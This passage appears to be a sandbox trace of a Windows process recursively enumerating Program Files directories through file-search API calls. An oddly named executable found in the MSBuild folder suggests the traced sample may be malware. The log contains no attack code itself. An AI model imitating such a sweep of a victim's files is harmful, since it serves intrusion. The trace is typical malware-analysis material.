1 [0151.396] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 1 [0151.557] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0151.557] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.557] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICU", cAlternateFileName="")) returned 1 [0151.558] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\ICU\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0151.559] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834dd660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x838234a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.559] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838234a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctl_gb18030.cnv", cAlternateFileName="CTL_GB~1.CNV")) returned 1 [0151.559] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0151.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x427df70 | out: hHeap=0x300000) returned 1 [0151.559] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 1 [0151.559] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0151.560] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.560] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0151.560] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41917c0 [0151.562] FindNextFileW (in: hFindFile=0x41917c0, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.562] FindNextFileW (in: hFindFile=0x41917c0, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f76c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKSCS.txt", cAlternateFileName="")) returned 1 [0151.562] FindClose (in: hFindFile=0x41917c0 | out: hFindFile=0x41917c0) returned 1 [0151.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0151.563] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1 [0151.563] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41917c0 [0151.565] FindNextFileW (in: hFindFile=0x41917c0, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.565] FindNextFileW (in: hFindFile=0x41917c0, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARABIC.TXT", cAlternateFileName="")) returned 1 [0151.565] FindClose (in: hFindFile=0x41917c0 | out: hFindFile=0x41917c0) returned 1 [0151.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0151.566] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 1 [0151.566] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41917c0 [0151.568] FindNextFileW (in: hFindFile=0x41917c0, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.568] FindNextFileW (in: hFindFile=0x41917c0, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2664, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1250.TXT", cAlternateFileName="")) returned 1 [0151.569] FindClose (in: hFindFile=0x41917c0 | out: hFindFile=0x41917c0) returned 1 [0151.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x428df78 | out: hHeap=0x300000) returned 1 [0151.570] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 0 [0151.570] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0151.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x427df70 | out: hHeap=0x300000) returned 1 [0151.570] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0 [0151.570] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0151.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x426df68 | out: hHeap=0x300000) returned 1 [0151.570] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 0 [0151.570] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0151.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0151.573] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0 [0151.573] FindClose (in: hFindFile=0x4191640 | out: hFindFile=0x4191640) returned 1 [0151.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41b32a8 | out: hHeap=0x300000) returned 1 [0151.573] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0151.573] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0151.573] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.573] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="{AC76B~1")) returned 1 [0152.291] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0152.391] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.391] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 1 [0153.603] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191640 [0153.788] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.788] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0157.238] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0157.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0157.239] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc16fcc70, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc16fcc70, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0157.239] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc16fcc70, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc16fcc70, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0157.277] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc16fcc70, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc16fcc70, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.277] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9b3a00, ftCreationTime.dwHighDateTime=0x1d54db1, ftLastAccessTime.dwLowDateTime=0x95c2fe10, ftLastAccessTime.dwHighDateTime=0x1d50f67, ftLastWriteTime.dwLowDateTime=0x95c2fe10, ftLastWriteTime.dwHighDateTime=0x1d50f67, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="continues_does_laos.exe", cAlternateFileName="CONTIN~1.EXE")) returned 1 [0157.278] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0157.290] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.290] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0157.290] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, 